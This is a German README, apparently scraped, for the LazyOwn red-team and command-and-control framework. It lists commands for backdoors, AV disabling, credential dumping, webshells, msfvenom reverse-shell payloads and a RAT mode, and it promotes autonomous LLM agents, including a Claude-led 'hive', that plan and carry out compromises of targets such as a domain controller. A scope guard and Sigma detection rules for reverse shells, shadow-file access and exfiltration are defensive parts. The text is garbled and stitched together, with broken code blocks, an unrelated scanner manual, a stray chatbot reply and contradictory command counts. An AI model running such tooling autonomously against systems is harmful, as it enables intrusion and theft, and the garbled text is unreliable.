[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y2Z73AV)


LazyOwn comes with ABSOLUTELY NO WARRANTY. This is free software, and you are  welcome to redistribute it under the terms of the GNU General Public License v3.
See the LICENSE file for details about using this software.

 # LazyOwn RedTeam Framework v0.2.161

LazyOwn ist ein professionelles Red-Team-Framework und eine Command-&-Control-(C2)-Plattform, entwickelt für Penetrationstester, Red Teams und Sicherheitsforscher. Es bietet 741 CLI-Befehle, 126 Aliase, 153 MCP-Tools für KI-Agenten, ein Multi-Operator-Web-C2-Dashboard und 137 YAML/Lua-Plugin-Integrationen, die die gesamte Kill Chain über Linux, Windows, macOS und BSD abdecken.

**Neu in v0.2.161:** integrierter Marktplatz mit YARA-Regeln + Nuclei-Templates, `auto_pwn` autonome Ausnutzung, `hunt`-Befehl für bedrohungsinformierte Aufklärung, Post-Command-Tipps-Engine, automatische Verschlüsselung von Sitzungsdaten, gamifizierte ELO/Badges und 7 neue APT-Playbooks.

## Schnellstart in drei Befehlen

Neu hier? Dies ist der gesamte Einstieg. Vollständige Anleitung: [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md).```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh        # virtualenv + pinned dependencies + C2 certificates
./run                  # launches the shell; first run offers the setup wizard

Dann, innerhalb der `(LazyOwn) >` Shell:```text
doctor          # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard          # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping            # confirm the target is up and detect its OS
lazynmap        # full port + service scan

---

## Multi-Operator-Zusammenarbeit

Die Collab-Schicht von LazyOwn bietet Echtzeit-Teamserver-Funktionalität über
Server-Sent Events (SSE). Sie wird automatisch aktiviert, wenn `lazyc2.py` startet.

**Browser-Dashboard** — in jedem Browser im Team öffnen:```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>

**Einen Fund an alle Operatoren veröffentlichen**:```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
  -H "Content-Type: application/json" \
  -d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'

| Endpunkt | Methode | Beschreibung |
|---|---|---|
| `/collab/` | GET | Multi-Operator-Browser-Dashboard |
| `/collab/stream?operator=<name>` | GET (SSE) | Echtzeit-Ereignisstrom |
| `/collab/operators` | GET | Liste der aktiven Operatoren |
| `/collab/publish` | POST | Ein strukturiertes Ereignis senden |
| `/collab/lock` | POST | Beratende Ziel-Sperre erwerben |
| `/collab/unlock` | POST | Ziel-Sperre freigeben |
| `/collab/locks` | GET | Alle aktiven Sperren |
| `/collab/history?n=100` | GET | Letzte N Ereignisse |

Von der CLI aus: `collab_join <handle>` gibt alle URLs für einen gegebenen Operator aus.

---

## MCP-Schnellstart

LazyOwn stellt sein vollständiges Framework über das Model Context Protocol (MCP) bereit. Derselbe Server funktioniert mit Claude Code, Claude Desktop, Hermes Agent und OpenCode — wählen Sie die Integration, die zu Ihrer Umgebung passt.

### Claude Code```bash
bash scripts/setup_hermes_mcp.sh

Installiere den Slash-Befehl (optional):```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md

Dann lade die MCP-Tools in Hermes mit `/reload-mcp` neu.

Siehe `skills/hermes-lazyown/README.md` für die vollständige Hermes-Integrationsanleitung.

### OpenCode

LazyOwn ist OpenCode-freundlich über den **LazyOwnOpenCodeAdapter**:```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build

Farbnamen werden gegen `ColorRegistry` und Glyph-Zeichen gegen `GlyphRegistry` validiert; alles Unbekannte fällt stillschweigend auf den Factory-Standard zurück, sodass eine fehlerhafte Payload niemals den Prompt bricht.

### Graph-bewusste Navigation — Operator- + Agent-UX aus graphify

`cli/graph_advisor.py` lädt den Knowledge Graph, der von
[`/graphify`](https://graphify.dev) über den LazyOwn-Quellbaum erzeugt wurde
(`graphify-out/graph_lazyown.json` — ~1500 Knoten, ~2900 Kanten, 14
Communities) und stellt ihn sowohl der cmd2-Shell als auch dem MCP-Server zur
Verfügung. Der Advisor ist ein Single-File-SOLID-Stack — `GraphLoader` (mtime-gecachte Datei-IO), `GraphIndex` (In-Memory-Adjazenz-/Degree-/Community-Indizes),
`GraphScorer` (reines Ranking-Primitiv), `GraphAdvisor` (Orchestrator) —
wobei jede Konstante im `GraphAdvisorConfig`-Dataclass gehalten wird.

**Operator-Befehle (cmd2-Shell)**

| Befehl | Zweck |
|---------|---------|
| `graph_search <query> [limit]` | Fuzzy-Suche nach Knoten anhand von Label, ID oder Quelldatei. |
| `neighbors <node> [depth] [limit]` | Durchläuft den Graphen ausgehend von einem Knoten mit Kantenrelation / Konfidenz. |
| `god_nodes [N]` | Zeigt die am stärksten vernetzten Knoten — die Kernabstraktionen des Frameworks. |
| `suggest_next [seeds…] [N]` | Empfiehlt die nächsten Befehle durch Durchlaufen ausgehend von der letzten Aktivität. Ohne Seeds liest es `sessions/LazyOwn_session_report.csv` und verwendet diese als Seeds. |

Der `default()`-Hook der Shell leitet nun unbekannte `do_*`-Befehle durch
denselben Advisor + den bestehenden `FuzzyCommandIndex`, sodass ein Operator,
der `ddo_lazynmap` eingibt, sofort *"Did you mean: do_lazynmap, do_lazynmap_quick, …?"*
sieht, bevor der Toast erscheint.

**MCP-Tools (Claude Code, Claude web, jeder MCP-Agent)**

| Tool | Zweck |
|------|---------|
| `lazyown_graph_summary` | Knoten- / Kanten- / Community-Anzahlen und der aufgelöste Graph-Pfad. |
| `lazyown_graph_search` | Fuzzy-Knotensuche mit einer `budget_tokens`-Obergrenze, damit die JSON-Antwort niemals das Kontextfenster des Agenten sprengt. |
| `lazyown_graph_neighbors` | Geschichteter Adjazenz-Durchlauf mit Kantenrelation und Konfidenz — die kanonische "Wovon hängt X ab?"-Abfrage. |
| `lazyown_graph_suggest_next` | Empfehlung für den nächsten Schritt; nimmt eine explizite `recent`-Liste oder liest das Sitzungsprotokoll. |

Jedes MCP-Graph-Tool kürzt Listenfelder in-place, um in `budget_tokens`
(Standard 1500) zu passen. Wenn der Graph fehlt, gibt jedes Tool
`{"available": false, "reason": "..."}` zurück, anstatt abzustürzen — dem Operator
wird gesagt, er solle einmal `/graphify .` ausführen, und alles funktioniert.

Der Advisor cached nach `(path, mtime)`, sodass ein frischer `/graphify`-Rebuild
automatisch beim nächsten CLI-Befehl oder MCP-Aufruf übernommen wird, ohne
die Shell oder den MCP-Server neu zu starten. Siehe
`tests/test_graph_advisor.py` für die 20 Unit-Tests, die Loader,
Index, Scorer und die vollständige Advisor-API abdecken.

### Inline-Reactive-Hints — nicht-blockierende Vorschläge für den nächsten Schritt

`cli/reactive_hints.py` hängt sich über `register_postcmd_hook` in die
Post-Command-Pipeline von cmd2 ein und gibt eine einzelne gedimmte Zeile unter
jeder Befehlsausgabe aus, bevor der nächste Prompt erscheint:```
  ↳ do_gobuster · do_enum4linux · do_ffuf

Es blockiert die Shell, solange es geöffnet ist (wie `htop` oder `lazygit`). Drücke **Q** oder
Ctrl-C, um es zu schließen und zur cmd2-Eingabeaufforderung zurückzukehren.

**Layout**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5  ATTACKER 10.10.14.5  DOMAIN target.htb  PHASE RECON  OS  │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│  Kill Chain         │  Recent Commands                │  Ops                │
│  ✔ Recon            │  ● lazynmap        2026-05-11   │  Objective:         │
│  ▶ Enum             │  ● ping            2026-05-11   │  Initial Access     │
│  ○ Exploit          │  ● gobuster        2026-05-11   │                     │
│  ○ PrivEsc          │                                 │  Credentials: 0     │
│  ○ Lateral          │                                 │  Hashes: 0          │
│  ○ Exfil            │  Config                         │  Beacons: 0         │
│  ○ Report           │  Target: 10.10.11.5             │                     │
│                     │  C2 Port: 4444                  │                     │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│  ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto                   │
└──────────────────────────────────── [Q] Quit  [R] Refresh  [?] Help ────────┘

### Bot-Befehle

| Befehl | Beschreibung |
|---------|-------------|
| `/start <secret>` | Authentifizierung mit dem C2-Secret aus `payload.json` |
| `/cmd <command>` | Beliebigen LazyOwn-Shell-Befehl ausführen |
| `/sitrep` | Vollständiger Kampagnen-Lagebericht |
| `/config [key] [val]` | payload.json-Werte anzeigen oder setzen |
| `/addcli <client_id>` | Aktiven C2-Client festlegen |
| `/clients` | Online-C2-Implantate auflisten |
| `/c2 <command>` | Befehl an C2-Beacon senden |
| `/agent <goal>` | Autonomen Groq/Ollama-Agenten ausführen |
| `/delegate <goal>` | Aufgabe an Hermes-Subagenten delegieren |
| `/cron <schedule> <cmd>` | Wiederkehrende LazyOwn-Befehle planen |
| `/status` | Daemon- und Autonomie-Status anzeigen |
| `/stop` | Laufenden autonomen Daemon stoppen |
| `/download <file>` | Dateien aus sessions/ herunterladen |
| Dokument hochladen | Dateien zum C2-Beacon hochladen |

Jede Klartextnachricht ohne `/`-Präfix wird als direkter LazyOwn-Befehl behandelt. Rate Limiting (5 Befehle/Minute) und Session-Timeouts (30 Minuten) werden erzwungen.

### Architektur

Der Bot verwendet dieselbe PTY-basierte Befehlsausführung wie der MCP-Server (`skills/lazyown_mcp.py`), sodass jeder LazyOwn-Befehl, Alias und jedes Addon ohne direkte Python-Imports funktioniert. Autonome Aufgaben (`/agent`, `/delegate`) starten Groq- oder Ollama-Agenten über die LazyOwn-Shell, und C2-Befehle (`/c2`, `/clients`) verwenden die authentifizierten Endpunkte `/api/command` und `/get_connected_clients`.

---

## Fortgeschrittene KI-Architektur (MoE + RL + SWAN + Hive Mind)

LazyOwn integriert einen erstklassigen Multi-Agenten-KI-Stack, der sich durch jedes Engagement anpasst und verbessert:

### Mixture of Experts (MoE) — `modules/moe_router.py`

Fünf LLM-Experten sind mit Fähigkeits-Tags, Basisgewichten und Kostenstufen registriert:

| Experte | Backend | Stärken |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | Recon, Enumeration, schnelle Entscheidungen |
| `groq_powerful` | Groq llama-3.3-70b-versatile | Exploitation, Post-Ex, komplexe Schlussfolgerungen |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | Privilegieneskalation, schrittweises Schlussfolgern |
| `ollama_reason` | Ollama deepseek-r1:1.5b | Offline, datenschutzsicher, detaillierte Analyse |
| `groq_gemma` | Groq gemma2-9b-it | Laterale Bewegung, Credential-Analyse |

Das Routing verwendet temperatur-skalierte Softmax (`T = max(0.5, 1.5/(1+calls/50))`) über angepasste Gewichte. Die Gewichte passen sich selbst über einen exponentiellen gleitenden Durchschnitt der Belohnung pro Experte im Zeitverlauf an.

### Reinforcement Learning from Models (RLM) — `modules/rl_trainer.py`

Tabellarisches Q-Learning trainiert die Routing-Richtlinie über Engagement-Sessions:```
State:  (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw|    (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]

**Erkennungsmethoden:**

| Methode | Was sie prüft |
|--------|----------------|
| `ai_test` | LazyOwnBT ML-Modellvorhersage |
| `proc_scan` | Verdächtige Prozessnamen |
| `net_scan` | Ungewöhnliche Verbindungen/Ports |
| `log_analyze` | Auth-/Syslog-Anomalien |
| `fim_scan` | Änderungen der Dateiintegrität |
| `redteam_hunt` | Threat-Hunting-Muster |
| `sigma_rules` | 10 Sigma-Regeln (mimikatz, Reverse Shell, Privesc, nmap, Webshell, /etc/shadow, Cron, SMB, Exfil, Injection) |

**Sigma-Regeln-Erkennungsengine** (LazyOwnBT `lazyownbt/detection.py`):

| ID | Regel | Stufe |
|----|------|-------|
| LAZYOWN-001 | Mimikatz Credential Dump | critical |
| LAZYOWN-002 | Reverse Shell Pattern | critical |
| LAZYOWN-003 | Privilege Escalation via Sudo | high |
| LAZYOWN-004 | Nmap Scan Detected | medium |
| LAZYOWN-005 | Webshell Execution | critical |
| LAZYOWN-006 | Process Injection | high |
| LAZYOWN-007 | /etc/shadow Access | critical |
| LAZYOWN-008 | Cron Persistence | high |
| LAZYOWN-009 | Lateral Movement SMB | high |
| LAZYOWN-010 | Data Exfiltration | high |

**Ausgabedateien:**
- `sessions/purple_dataset.csv` — ML-Trainingsdatensatz
- `sessions/purple_audit.jsonl` — vollständiges Audit-Log
- `sessions/detection_feedback.jsonl` — Oracle-Kalibrierung

**Hinweis:** Für den Produktiveinsatz mit einem echten SIEM (Wazuh, Elastic SIEM, Splunk) über auditd-Log-Weiterleitung integrieren. Die integrierten Sigma-Regeln sind nur für Offline-Tests gedacht.

### Hive Mind — `skills/hive_mind.py`

Multi-Agenten-Architektur mit Königin+Drohnen und gemeinsamem Speicher:
- **QueenBrain** (Claude): High-Level-Orchestrierung + ConsensusProtocol für risikoreiche Aktionen
- **DronePool** (Groq/Ollama): Parallele Ausführung von Recon-/Exploit-/Cred-/Lateral-/Privesc-Aufgaben
- **HiveMemory**: ChromaDB semantisch + SQLite episodisch + Parquet Langzeitspeicher
- **EpisodeReflectionEngine**: Extraktion von Lektionen nach der Kampagne, gespeichert als `sessions/campaign_lessons.jsonl`

### Autonomous Campaign Intelligence (ACI) — `skills/aci_planner.py`

**Das erste C2-Framework, das autonom plant, ausführt und lernt.**

ACI überbrückt die Lücke zwischen einem Engagement-Ziel in natürlicher Sprache und einer vollständig
autonomen Ausführungsschleife. Kein Konkurrent (Cobalt Strike, Sliver, Havoc,
Metasploit) macht dies End-to-End:```
Operator: "Compromise the domain controller at corp.internal
           starting from a phishing foothold on 10.10.11.5"
         ↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
                 recon → exploit → exec → privesc → cred → lateral → report
         ↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
         ↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
         ↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
         ↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
         ↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
                 feeds back into the next engagement

**Was ACI im Vergleich zu anderen Tools einzigartig macht:**

- Cobalt Strike / Sliver / Havoc sind C2-Frameworks — der Operator plant jeden Schritt
- Metasploit hat Automatisierung, aber keine Intelligenz
- CALDERA emuliert feste ATT&CK-Prozeduren, kann sich aber nicht an neuartige Umgebungen anpassen
- **ACI plant, führt aus, plant neu und lernt — kontinuierlich, über Engagements hinweg**

**Persistenz:**

| Datei | Inhalt |
|------|----------|
| `sessions/aci_plan.json` | Aktiver Plan: Phasen, Ziele, Abschlussstatus |
| `sessions/aci_history.jsonl` | Archivierte abgeschlossene/aufgegebene Pläne |
| `sessions/campaign_lessons.jsonl` | Von ACIReflector extrahierte Lektionen |

**CLI-Nutzung (Standalone):**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect

SWAN im Daemon aktivieren: `export AUTO_USE_SWAN=1` vor dem Start.

ACI speist in den Daemon ein: Ziele, die von `lazyown_aci_plan` injiziert werden, werden
automatisch von Rolle 1 (ObjectiveLoop) aufgegriffen — keine zusätzliche Konfiguration erforderlich.

### Graph-basiertes Reasoning — `modules/world_model.py`

NetworkGraph verfolgt alle entdeckten Beziehungen (Hosts, Dienste, Credentials, Trust-Pfade) und berechnet normalisierte Degree-Zentralität, um Pivot-Kandidaten hervorzuheben. Die Top-3-Kandidaten werden in jeden `to_context_string()`-Aufruf injiziert, wodurch die autonome Schleife stets die wertvollsten Lateral-Movement-Ziele kennt.

## Authorization Scope Guard

Ein Red-Team-Framework, das sein Ziel aus `payload.json` liest, hat eine scharfe Kante:
Ein verirrtes `rhost` feuert offensive Befehle auf einen nicht autorisierten Host ab. Der Scope Guard
ist das Sicherheitsnetz. Jeder interaktive Befehl fließt durch einen einzigen Engpass,
der das aktive Ziel gegen Ihren autorisierten Engagement-Scope prüft, bevor der
Befehl ausgeführt wird.```bash
(LazyOwn) > scope add 10.10.11.0/24       # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce            # off | warn (default) | enforce
(LazyOwn) > scope                         # show current scope and posture

**Angewandte wichtige Korrekturen:**
- `shell=True` entfernt aus `anti_forensics.py`, `pivoting.py`, `icmp_server.py`, `resource_script.py`, `command_executor.py`, `postexp_migrated.py` (22 Instanzen)
- `os.system()` entfernt aus `persist_migrated.py`, `cloud.py`, `lazyown.py` (4 Instanzen), `misc_migrated.py`
- `os.popen()` entfernt aus `websocket_beacon.py`, `evasive_payload.py`
- `sshpass -p` ersetzt durch `sshpass -e` + Umgebungsvariable über 4 Dateien (C2, lateral, exfil, persist)
- Fest codierter Verschlüsselungsschlüssel entfernt aus `phishing_orchestrator.py` (ENCRYPTION_KEY obligatorisch)
- XSS im C2-Banner behoben mit `html.escape()`
- Befehlsinjektion über rhost in der Zwischenablage behoben mit `safe_clipboard_copy()`
- cmd2 `CMD_ATTR_HELP_CATEGORY` umbenannt in `COMMAND_ATTR_HELP_CATEGORY` (cmd2 4.2.2-Kompatibilität)

---

## Befehlsfähigkeiten

LazyOwn bietet 741 Befehle über 13 Kill-Chain-Phasen, verfügbar sowohl über CLI als auch über das Web-C2-Dashboard:

| Phase | Hervorzuhebende Befehle |
|-------|-------------------|
| Recon | `lazynmap`, `ping`, `whatweb`, `gobuster`, `ffuf`, `dig`, `dnsenum`, `finalrecon` |
| Enum | `enum4linux`, `cme`, `bloodhound`, `nuclei`, `kerbrute`, `ldapdomaindump` |
| Exploit | `auto_pwn`, `hunt`, `ss` (searchsploit), `venom`, `lazymsfvenom`, `searchhash` |
| Post-Exploit | `linpeas`, `winpeas`, `blacksandbeacon`, `mimikatzpy`, `disableav` |
| Persistenz | `persist`, `backdoor`, `cron`, `schtask`, `createwebshell` |
| PrivEsc | `getcap`, `sudo`, `adcs_check`, `privesc_predictor` |
| Cred Access | `secretsdump`, `evil`, `getnpusers`, `hashcat`, `john`, `spraykatz` |
| Lateral | `psexec`, `wmiexec`, `ssh_cmd`, `chisel`, `ligolo`, `bloodhound` |
| Exfil | `exfil`, `upload_gofile`, `encrypt`/`decrypt`, `compressdir` |
| C2 | `lazyc2`, `blacksandbeacon`, `createrevshell`, `listener_go` |
| Reporting | `report`, `lazyreport`, `campaign_sitrep`, `timeline`, `dashboard` |
| AI/Agents | `auto_loop`, `recommend_next`, `playbook_generate`, `playbook_run`, `orchestrate` |
| Marketplace | `yara_marketplace`, `nuclei_marketplace`, `marketplace`, `lab` |

Kernverwaltung: `assign`, `show`, `doctor`, `wizard`, `scope`, `collab_join`, `config_banner`, `palette`, `fz`.

Siehe [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) für die vollständige 606-Befehlsreferenz und [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) für die 18 Befehle, die 80 % der Engagements abdecken.

# Erweitern von LazyOwnShell mit Lua-Plugins

Dieses Dokument erklärt, wie man Lua-Skripting verwendet, um die Funktionalität der `LazyOwnShell`-Anwendung zu erweitern, die auf dem `cmd2`-Framework in Python aufbaut. Lua ermöglicht es Ihnen, benutzerdefinierte Plugins zu schreiben, die neue Befehle hinzufügen, bestehendes Verhalten ändern oder auf Anwendungsdaten zugreifen können.

![image](https://assets.kitploit.com/production/public/readmes/56369/c299c50e76da30a39158e7121eb350b9c906048783727107fb9ca556c5317878/f2fa2be6395535c04e8fe7e5630c65d7112913560e76ea2c6a6e0144be148795-display-v1.webp)

---

## Inhaltsverzeichnis

1. [Einführung](#einführung)
2. [Einrichten von Lua-Plugins](#einrichten-von-lua-plugins)
3. [Schreiben von Lua-Plugins](#schreiben-von-lua-plugins)
4. [Registrieren neuer Befehle](#registrieren-neuer-befehle)
5. [Zugriff auf Anwendungsdaten](#zugriff-auf-anwendungsdaten)
6. [Fehlerbehandlung](#fehlerbehandlung)
7. [Beispiel-Plugins](#beispiel-plugins)
8. [Best Practices](#best-practices)

---

## 1. Einführung

Die `LazyOwnShell`-Anwendung unterstützt Lua-Skripting, damit Benutzer ihre Funktionalität erweitern können, ohne den Python-Kerncode zu ändern. Lua-Skripte (Plugins) werden im Verzeichnis `plugins/` gespeichert und beim Start der Anwendung automatisch geladen.

Lua-Plugins können:
- Neue Befehle zur Shell hinzufügen.
- Bestehende Befehle oder Verhaltensweisen ändern.
- Auf Anwendungsdaten zugreifen und diese manipulieren, die von Python bereitgestellt werden.

---

## 2. Einrichten von Lua-Plugins

Um Lua-Plugins zu verwenden, stellen Sie Folgendes sicher:

1. Installieren Sie die `lupa`-Bibliothek in Ihrer Python-Umgebung:   ```bash
   pip install lupa

plugins/
     init_plugins.lua
     hello.lua
     goodbye.lua

-- Register the function as a command
register_command("my_command", my_command)

Schlüsselfunktionen
- register_command(command_name, lua_function):
- Registriert einen neuen Befehl in der Shell.
- command_name: Der Name des Befehls (z. B. hello).
- lua_function: Die Lua-Funktion, die ausgeführt wird, wenn der Befehl aufgerufen wird.

3. Neue Befehle registrieren

 Um einen neuen Befehl zur Shell hinzuzufügen, befolgen Sie diese Schritte:

- Definieren Sie eine Lua-Funktion, die die Befehlslogik implementiert.
- Verwenden Sie register_command, um die Funktion als Befehl zu registrieren.
- Beispiel: Hinzufügen eines hello-Befehls
- Erstellen Sie eine Datei plugins/hello.lua mit folgendem Inhalt:   ```lua
 function hello(arg)
     local name = arg or "world"
     print("Hello, " .. name .. "!")
 end

 register_command("hello", hello)

Erweiterte Konfiguration```yaml
params:
  - name: "url"
    required: true
    description: "Target URL"
    default: "http://localhost"

  - name: "threads"
    required: false
    default: 4

Parameter Substitution
Ersetzt {param} in Befehlen durch Werte aus:

- Befehlsargumenten

- Standardwerten

- self.params

- Hilfe-Integration

help <command> zeigt die YAML-Beschreibung an.

Vorlage```yaml
name: ""
enabled: true
description: ""

tool:
  name: ""
  repo_url: ""
  install_path: ""
  install_command: ""  # Optional
  execute_command: ""

params:
  - name: ""
    required: true/false
    default: ""
    description: ""

🚨 Fehlerbehebung
Fehlende Parameter: Überprüfen Sie die erforderlichen Felder in YAML

Installationsfehler: Überprüfen Sie den Netzwerk-/Git-Zugriff

Befehlsfehler: Validieren Sie die execute_command-Syntax


Hauptmerkmale:
- Sauberes GitHub-flavored Markdown
- Fokussiert ausschließlich auf YAML-Addons
- Enthält gebrauchsfertige Vorlagen
- Dokumentiert das Parameter-Ersetzungssystem
- Bietet Tipps zur Fehlerbehebung

Möchten Sie, dass ich bestimmte Beispiele oder Anwendungsszenarien hinzufüge?

![LazyOwnGris3](https://assets.kitploit.com/production/public/readmes/56369/e33455dad0ebc6b7279e64d6befcf165ce82ef5d21df552c9c6207e517842ac6/f44814861f7107d595f4c1c2f543f527ae55c37bbd3146414a6050250ef1c7e4-display-v1.webp)


LazyOwn auf Reddit

Revolutionieren Sie Ihr Pentesting mit LazyOwn: Automatisieren Sie die Intrusion auf Linux-, MAC OSX- und Windows-OPFERN

<https://www.reddit.com/r/LazyOwn/>


<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>

Entdecken Sie LazyOwn, die ultimative Lösung zur Automatisierung des Pentesting-Workflows für Angriffe auf Linux-, MacOSX- und Windows-Systeme. Unser leistungsstarkes Tool vereinfacht das Pentesting und macht es effizienter und effektiver. Sehen Sie sich dieses Video an, um zu erfahren, wie LazyOwn Ihre Sicherheitsbewertungen optimieren und Ihr Cybersicherheits-Toolkit erweitern kann.```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...

2. Installiere die Python-Abhängigkeiten:```sh
./install.sh

| `-s` | `--server` | Server URL (default: `http://localhost:8080`) |
| `-t` | `--token` | Authentication token |
| `-o` | `--output` | Output file path |
| `-f` | `--format` | Output format: `json`, `yaml`, `table` |
| `-v` | `--verbose` | Enable verbose logging |
| `-q` | `--quiet` | Suppress non-essential output |
| `-h` | `--help` | Show help message |

### Examples

```bash
# Basic scan
scanner scan --target example.com

# Scan with custom output
scanner scan --target example.com --output results.json --format json

# Authenticated scan
scanner scan --target example.com --token $API_TOKEN

server:
  url: http://localhost:8080
  timeout: 30s

auth:
  token: ${SCANNER_TOKEN}

output:
  format: json
  verbose: false

scanner server start

scanner auth verify --token $API_TOKEN

chmod +x ./scanner

## Tag auf YouTube
<https://www.youtube.com/hashtag/lazyown>

## Podcast
<https://www.youtube.com/watch?v=m4FtlhownvM&list=PLW9Qe5HJK5CFXyIsF9b0NB6n9EY8Am3YZ>

## DeepWiki
<https://deepwiki.com/grisuno/LazyOwn/>```sh
LazyOwn> assign binary_name my_binary
LazyOwn> assign rhost 192.168.1.100
LazyOwn> assign api_key my_api_key
LazyOwn> run lazysearch
LazyOwn> run lazynmap
LazyOwn> exit

## Suchen mit GUI
Zusätzliche Funktionen und Verbesserungen:
AutocompleteEntry:

Ein Filter wurde hinzugefügt, um None-Werte aus der Autocomplete-Liste zu entfernen.
Neuer Angriffsvektor:

Eine Schaltfläche „Neuer Angriffsvektor“ wurde zur Hauptoberfläche hinzugefügt.
Es wurde eine Funktionalität implementiert, um einen neuen Angriffsvektor hinzuzufügen und die aktualisierten Daten in Parquet-Dateien zu speichern.
Export nach CSV:

Eine Schaltfläche „Export nach CSV“ wurde zur Hauptoberfläche hinzugefügt.
Es wurde eine Funktionalität implementiert, um DataFrame-Daten in eine vom Benutzer ausgewählte CSV-Datei zu exportieren.
Verwendung:

Einen neuen Angriffsvektor hinzufügen: Klicken Sie auf die Schaltfläche „Neuer Angriffsvektor“, füllen Sie die Felder aus und speichern Sie.
Export nach CSV: Klicken Sie auf die Schaltfläche „Export nach CSV“ und wählen Sie den Speicherort für die CSV-Datei aus.
Neue Funktion scan_system_for_binaries:

Implementiert systemweite Binärsuchen mit dem Befehl file, um festzustellen, ob eine Datei binär ist.
Verwendet os.walk, um das Dateisystem zu durchlaufen.
Die Ergebnisse werden in einem neuen Fenster innerhalb der GUI angezeigt.
Schaltfläche zum Suchen nach Binärdateien:

Eine Schaltfläche „Search System for Binaries“ wurde zur Hauptoberfläche hinzugefügt, die die Funktion scan_system_for_binaries aufruft.
Hinweis:

Die Funktion is_binary verwendet den Unix-Befehl file, um festzustellen, ob eine Datei eine binäre ausführbare Datei ist. Wenn Sie ein anderes Betriebssystem verwenden, müssen Sie diese Methode für die Kompatibilität anpassen.
Diese Implementierung kann ressourcenintensiv sein, da sie das gesamte Dateisystem durchläuft. Sie könnten in Betracht ziehen, zusätzliche Optionen hinzuzufügen, um die Suche auf bestimmte Verzeichnisse zu beschränken oder nach bestimmten Dateitypen zu filtern.```sh
python3 LazyOwnExplorer.py

Wenn Sie aktualisieren möchten, gehen wir wie folgt vor:```sh
cd LazyOwn
rm parquets/*.csv
rm parquets/*.parquet
./update_db.sh

y listo ya podemos acceder a cualquiera de estas url:

<http://localhost:8080/cgi-bin/lazywebshell.sh>

<http://localhost:8080/cgi-bin/lazywebshell.py>

<http://localhost:8080/cgi-bin/lazywebshell.asp>

<http://localhost:8080/cgi-bin/lazywebshell.cgi>

![image](https://assets.kitploit.com/production/public/readmes/56369/46d7b61ebc8f339f9ddf47b4587e3a3b2e658653754abe25a57d499da42bb54f/810e9f2ec3bc35e4f4a8fb64f8108a85c581bd0448d21b2cb2956b7c5b4814be-display-v1.webp)

## Lazy MSFVenom für Reverse Shell verwenden

    Führt das Tool `msfvenom` aus, um basierend auf Benutzereingaben eine Vielzahl von Payloads zu generieren.

    Diese Funktion fordert den Benutzer auf, einen Payload-Typ aus einer vordefinierten Liste auszuwählen, und führt den entsprechenden
    `msfvenom`-Befehl aus, um den gewünschten Payload zu erstellen. Sie übernimmt Aufgaben wie die Generierung verschiedener Arten von
    Payloads für Linux-, Windows-, macOS- und Android-Systeme, einschließlich optionaler Kodierung mit Shikata Ga Nai für C-Payloads.

    Die generierten Payloads werden in ein `sessions`-Verzeichnis verschoben, in dem entsprechende Berechtigungen gesetzt werden. Zusätzlich
    können die Payloads mit UPX zur Platzeinsparung komprimiert werden. Wenn der ausgewählte Payload eine Android-APK ist,
    signiert die Funktion auch die APK und führt die erforderlichen Nachbearbeitungsschritte durch.

    :param line: Kommandozeilenargumente für das Skript.
    :return: None```sh
run lazymsfvenom or venom

## Verwendung des LazyOwn RAT-Modus

![image](https://assets.kitploit.com/production/public/readmes/56369/9402abc4a6c873096e3c6017e35f56d0f3c5f5c66cb15a8b4bc9b8a8d54385f7/c3430588984c7ec596fff9b5d7553c0dd773ee29fa26558af681f93cf5433de4-display-v1.webp)


LazyOwn RAT ist ein einfaches, aber leistungsstarkes Remote-Administration-Tool. Es verfügt über eine Screenshot-Funktion, die den Bildschirm des Servers erfasst, einen Upload-Befehl, mit dem wir Dateien auf die kompromittierte Maschine hochladen können, und einen C&C-Modus, in dem Befehle an den Server gesendet werden können. Es arbeitet in zwei Modi: Client-Modus und Server-Modus. Es gibt keine Obfuskation, und das RAT basiert auf BasicRat. Du findest es auf GitHub unter https://github.com/awesome-security/basicRAT und unter https://github.com/hash3liZer/SillyRAT. Obwohl Letzteres viel umfassender ist, wollte ich nur die Screenshot-Erfassung, Datei-Uploads und das Senden von Befehlen implementieren. Vielleicht werde ich in Zukunft eine Webcam-Anzeigefunktion hinzufügen, aber das kommt später.```sh
